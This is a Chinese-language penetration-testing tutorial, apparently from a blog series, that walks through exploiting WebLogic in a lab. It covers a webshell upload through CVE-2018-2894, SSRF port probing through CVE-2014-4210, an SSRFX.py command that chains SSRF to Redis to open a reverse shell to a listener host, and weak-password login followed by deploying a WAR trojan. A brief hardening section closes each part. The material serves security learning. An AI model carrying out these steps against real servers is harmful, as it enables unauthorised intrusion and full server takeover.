简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
一、前言
中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。
可想而知中间件连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,中间件的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的中间件中往往连接数据库,而数据库储存着等极其重要和敏感的信息。如果中间件被攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的重要的工作任务。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
今天会讲解到学习WebLogic Server 12.1.3详细安装、Weblogic 任意文件上传漏洞(CVE-2018-2894)、Weblogic SSRF漏洞(CVE-2014-4210)、Weblogic 弱口令 && 后台getshell等渗透操作等,最后远程代码执行控制服务器等操作,如果连Weblogic都不会安装操作提权等,怎么进行下一步的研究Weblogic安全!怎么拿下对方服务器?
二、WebLogic渗透攻防详解
1、WebLogic Server 12.1.3详细安装
安装的时候将Weblogic放在Java JDK的bin目录下,防止出现因环境变量带空格导致的错误,安装过程一直点击下一步即可:
java -jar fmw_12.1.3.0.0_wls.jar
安装域:
1)在电脑上找到Configuration Wizard
2)双击运行后,选择第一项,下一步
C:OracleMiddlewareOracle_Homeuser_projectsdomainsbase_domain
3)使用默认选项,下一步
4)填写安装weblogic时的账户名和密码,下一步
5)默认下一步
6)选择管理和节点,下一步
7)下一步
8)输入用户名密码下一步
9)默认点击创建
10)等待完成下一步
11)完成!
启动:
进入:
C:OracleMiddlewareOracle_Homeuser_projectsdomainsbase_domain
双击运行!
登录:
正常访问!!
2、Weblogic 任意文件上传漏洞(CVE-2018-2894)
1)漏洞简介
Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在”生产模式”下默认不开启,所以该漏洞有一定限制。
影响版本:
10.3.6
12.1.3
12.2.1.2
12.2.1.3
2)自搭环境注意
注意:我们前面默认安装是开发模式!此漏洞也是在开发模式下复现的,若需在生产模式下进行复现,则需要登录后台页面,点击base_domain的配置,在”高级”设置中 开启 “启用 Web 服务测试页” 选项,经过我的验证发现开启之后,不仅需要账号密码登陆,即使登陆了也没有这两处上传点。
3)本地漏洞复现
(1)WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为:
/ws_utc/begin.do
/ws_utc/config.do
访问ws_utc/config.do,设置Work Home Dir为ws_utc应用的静态文件css目录
C:OracleMiddlewareOracle_Homeuser_projectsdomainsbase_domainserversAdminServertmp_WL_internalcom.oracle.webservices.wls.ws-testclient-app-wls_12.1.3cmprq0warcss
因为访问这个目录是无需权限的,提交后,点击左侧安全 -> 添加,然后上传Webshell:
(2)格式
然后访问
http://127.0.0.1:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
即可执行webshell:
http://192.168.253.97:7001/ws_utc/css/config/keystore/1619702162109_JspSpy.jsp
输入密码:ninty
上传一句话:
4)vulhub漏洞复现
(1)查看登录密码
sudo docker-compose logs | grep password
密码为:87Bhsff9
(2)启用 Web 服务测试页
(3)漏洞验证
http://192.168.253.7:7001/ws_utc/config.do
(4)我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
(5)然后点击安全 -> 增加,然后上传webshell:
(6)获取时间戳
时间戳:1619703165123
(7)然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell:
http://192.168.253.7:7001/ws_utc/css/config/keystore/1619703338618_JspSpy.jsp
5)ws_utc/begin.do
在生产模式下默认不开启,在后台开启之后,需要认证!!
http://192.168.253.7:7001/ws_utc/begin.do
登录后,点击右上角的文件夹,上传Webshell,点击提交,并抓包:
upload/RS_Upload_2021-04-29_13-59-49_932/import_file_name_JspSpy.jsp
然后访问:
http://192.168.253.7:7001/ws_utc/css/upload/RS_Upload_2021-04-29_13-59-49_932/import_file_name_JspSpy.jsp
成功!!
6)注意事项
1. ws_utc/begin.do 使用的工作目录是在ws_utc/config.do中设置的Work Home Dir!!
2. 利用需要知道部署应用的web目录。
3. 在生产模式下默认不开启,在后台开启之后,需要认证
7)安全防护
1、启动生产模式后Config.do页面登录授权后才可访问
2、升级到官方最新版本,目前(2019/06/07) 生产模式下 已取消这两处上传文件的地方。
3、IPS等防御产品可以加入相应的特征;
3、Weblogic SSRF漏洞(CVE-2014-4210)
影响版本:
10.0.2.0
10.3.6.0
1)验证漏洞
(1)验证是否正常访问
访问/uddiexplorer/SearchPublicRegistries.jsp,若能正常访问,则可能存在此漏洞,填写任意信息,如下:
2)抓包分析
(1)抓包
点击Search,并抓包,抓包之后在Burp中右键,选择Change request method, 将POST请求改变成GET。
参数operator为SSRF的可控参数,将其更改为开放的端口,如http://127.0.0.1:7001/,将返回error code
(2)第一种现象:不存在的端口或IP地址
若开放端口为HTTP协议,则会返回did not have a valid SOAP content-type:
<p>An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '80'
</table>
访问不存在的端口,将返回could not connect over HTTP to server
(3)第二种现象:主机存活且端口存在
<p>An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: http://127.0.0.1:8080/ which did not have a valid SOAP content-type: text/html.
</table>
若开放端口为HTTP协议,则会返回did not have a valid SOAP content-type
(4)可访问的端口(且该端口是非http协议)
<p>An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error.
</table>
若开放端口不是HTTP协议但是端口开放,则会返回returned a 404 error code (Not Found)
三种情况总结完毕!!
3)安装redis
4.x安装:
wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar -zxvf redis-4.0.8.tar.gz
cd redis-4.0.8
make
(1)cp redis.conf ./src/redis.conf
(2)bind 127.0.0.1前面加上#号注释掉
注释这行语句,代表任意机器都可以登录redis
(3)protected-mode设为no
这只为NO,代表关闭安全设置
(4)启动redis-server
./src/redis-server redis.conf
成功开启!
成功搭建访问!
4)weblogic ssrf联动redis反弹shell
经过测试windows环境无法操作,因为浏览器回馈的有问题!换成vulhub进行联动!!
(1)需要安装环境
乌班图安装pip和python2环境已经在apache里详细演示和讲解!请回看!
pip install -r requirements.txt
python SSRFX.py -h
完成安装环境!
(2)现在模拟内网中存在一台Redis,我们来对他进行攻击:
在前面的探测,我们已经知道了目标系统内网地址存活状态,并发现了一个6379端口主机,根据经验,该端口下的服务是Redis数据库。
存活扫描:
python SSRFX.py --url http://192.168.253.94:7001/uddiexplorer/SearchPublicRegistries.jsp --app weblogic --network 192.168.253.0/24 --type livedetect
端口扫描:
python SSRFX.py --url http://192.168.253.94:7001/uddiexplorer/SearchPublicRegistries.jsp --app weblogic --network 192.168.253.0/24 --type portscan
python SSRFX.py --url http://example.com/uddiexplorer/SearchPublicRegistries.jsp --app weblogic --vulapp redis --type getshell --lhost 内网主机 --lport redis端口 --rhost 远程主机 --rport 监听端口
python SSRFX.py --url http://192.168.253.94:7001/uddiexplorer/SearchPublicRegistries.jsp --app weblogic --vulapp redis --type getshell --lhost 127.0.0.1 --lport 6379 --rhost 192.168.253.27 --rport 8888
目前测试情况下是不成功的,本地也不成功,外部内网也不成功!那么上面的几条命令是给小伙伴们学习参考使用的!
4、Weblogic 弱口令 && 后台getshell
影响全版本!
1)弱口令爆破机制查看
爆破点检测:
j_username=weblogic&j_password=dayu123%21&j_character_encoding=UTF-8
密码处使用了url编码混淆!
2)上传部署war木马
访问http://192.168.253.94:7001/console
点击部署,进一步点击右边的安装:
点击上载文件:
选择war包,点击下一步:
上传完成以后选中你上传的文件,点击下一步:
选中作为应用程序安装,点击下一步:
然后直接点击完成即可然后直接点击完成即可
选用我们安装的应用,点击启动即可:
3)成功webshell
继续渗透即可!
4)安全防护
避免后台弱口令!!
三、总结
今天学到了WebLogic Server 12.1.3详细安装、Weblogic 任意文件上传漏洞(CVE-2018-2894)、Weblogic SSRF漏洞(CVE-2014-4210)Weblogic 弱口令 && 后台getshell等渗透操作,最后远程代码执行控制服务器等操作,以及整改加固建议的方式方法,学到了非常多的小技巧和干货希望小伙伴能实际操作复现一遍!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论